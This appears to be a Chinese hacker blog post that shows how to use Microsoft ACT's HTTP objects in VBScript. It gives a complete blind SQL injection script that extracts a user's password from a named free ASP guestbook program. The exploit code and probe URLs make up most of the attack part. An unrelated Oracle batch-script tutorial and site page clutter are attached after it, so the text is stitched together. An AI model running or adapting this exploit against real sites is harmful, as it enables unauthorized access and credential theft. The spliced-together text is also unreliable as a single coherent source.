用vbs来写sql注入等80端口的攻击脚本

利用VBS进行SQL注入攻击
 

昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse = Test.SendRequest(strURL)
参数:strURL as string:表示所请求的URL
返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:

风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:

...
topicid=request("RootID")
sql="select topic,hits from bbs
where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...

非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。

*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo
注意:需要装Visual Studio.Net里的ACT工具
*********************************************
Option Explicit
On Error Resume Next

Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username

从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If

WScript.Echo "开始探测,请等待... ..."

正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
存放密码
pwd = ""
密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"

建立对象
Set Test = CreateObject("ACT.Test")

得到用户的密码的长度
For i = 0 to 128 step 1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7%20and%20exists%20
(select%20userid%20from%20student%20where%20len
(userpwd)=" & i & "%20and%20userid=" & username & ")")

如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next

猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7%20and%20exists%20
(select%20userid%20from%20student%20where%20left
(userpwd," & j & ")=" & pwd & mid(strings,k,1)
& "%20and%20userid=" & username & ")")

If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next

If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
输出密码
WScript.Echo "密码:" & pwd
End If

Set Test = nothing

使用BAT脚本执行SQL语句操作Oracle数据库,可按以下步骤进行: ### 1. 准备工作 需确保已安装Oracle客户端,且环境变量`ORACLE_HOME`、`PATH`和`TNS_ADMIN`等已正确配置,以保障`sqlplus`命令可正常使用。 ### 2. 创建BAT脚本 以下是一个示例BAT脚本,其功能为连接Oracle数据库并执行SQL脚本: ```batch @echo off :: 删除之前的日志文件和临时文件 if exist 01_RUN.log del 01_RUN.log if exist 1.txt del 1.txt :: 创建包含SQL命令的临时文件 echo SET DEFINE OFF >> 1.txt echo SPOOL 01_RUN.log >> 1.txt :: 遍历所有的SQL文件并添加到临时文件中 for %%i in (*.sql) do ( echo PROMPT %%i >> 1.txt echo @%%i >> 1.txt ) :: 结束日志记录并退出 echo SPOOL OFF >> 1.txt echo EXIT; >> 1.txt :: 清屏并设置窗口样式 cls color 0a @ECHO OFF mode con cols=120 lines=30 TITLE TEST @ECHO ON :: 执行SQL脚本 CLS SQLPLUS USERNAME/PASSWORD@IP:PORT/SERVICENAME @1.txt :: 删除临时文件 @ECHO OFF del 1.txt cls :: 检查日志文件中是否包含错误信息 type 01_RUN.log | find "エラー" && color 4f && echo 詳しいエラー内容は01_RUN.logを参照ください。 && pause && exit :: 删除日志文件 del 01_RUN.log :: 暂停5秒后退出 echo WScript.sleep 5000 > sleep.vbs color 2f @echo. @echo -------------------------- @echo 成功!!!、5秒後で退出。 @echo -------------------------- Wscript sleep.vbs if exist sleep.vbs del sleep.vbs ``` ### 3. 脚本说明 - **临时文件创建**:借助`echo`命令把SQL命令入临时文件`1.txt`,其中涵盖设置`SET DEFINE OFF`、开启日志记录`SPOOL`、遍历所有SQL文件并执行、结束日志记录`SPOOL OFF`以及退出`EXIT`等操作。 - **SQL脚本执行**:运用`SQLPLUS`命令连接到Oracle数据库,并执行临时文件`1.txt`中的SQL命令。 - **错误检查**:通过`find`命令检查日志文件`01_RUN.log`中是否包含错误信息,若存在则输出错误提示并暂停脚本。 - **清理工作**:执行完毕后,删除临时文件和日志文件。 ### 4. 注意事项 - 要把`USERNAME/PASSWORD@IP:PORT/SERVICENAME`替换为实际的数据库用户名、密码、IP地址、端口号和服务名。 - 确保SQL脚本文件(`.sql`)与BAT脚本位于同一目录下,或者依据实际情况修改脚本中的文件路径。 ### 示例 假设要执行一个简单的SQL查询,可创建一个名为`test.sql`的文件,内容如下: ```sql SELECT * FROM YOUR_TABLE; ``` 将此文件与上述BAT脚本放在同一目录下,运行BAT脚本即可执行该SQL查询。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值